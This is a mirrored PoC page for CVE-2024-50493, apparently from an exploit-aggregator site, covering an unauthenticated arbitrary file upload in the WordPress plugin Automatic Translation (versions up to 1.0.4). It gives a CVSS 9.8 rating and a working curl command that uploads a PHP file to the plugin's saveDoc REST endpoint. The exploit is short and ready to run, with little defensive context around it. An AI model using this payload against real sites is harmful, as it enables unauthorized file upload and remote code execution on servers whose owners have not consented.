Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2024-50493 PoC — WordPress plugin Automatic Translation 代码问题漏洞

Source
Associated Vulnerability
Title:WordPress plugin Automatic Translation 代码问题漏洞 (CVE-2024-50493)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin Automatic Translation 1.0.4版本及之前版本存在代码问题漏洞,该漏洞源于允许无限制上传危险类型文件。
Description
Automatic Translation <= 1.0.4 - Unauthenticated Arbitrary File Upload
Readme
# CVE-2024-50493
Automatic Translation &lt;= 1.0.4 - Unauthenticated Arbitrary File Upload

# Description:
The Automatic Translation plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in all versions up to, and including, 1.0.4. This makes it possible for unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

```
CVE: CVE-2024-50493
CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Score: 9.8
Slugs: automatic-translation
```

POC
---

```
curl -X POST \
  -F "file_name=info.php" \
  -F "file_url=@/tmp/info.php" \
  "http://kubernetes.docker.internal/wp-json/automatic-translator/v1/saveDoc"
```
File Snapshot

[4.0K] /data/pocs/5151a4c368cf1f36fc0117400361fbed81335166 └── [ 728] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.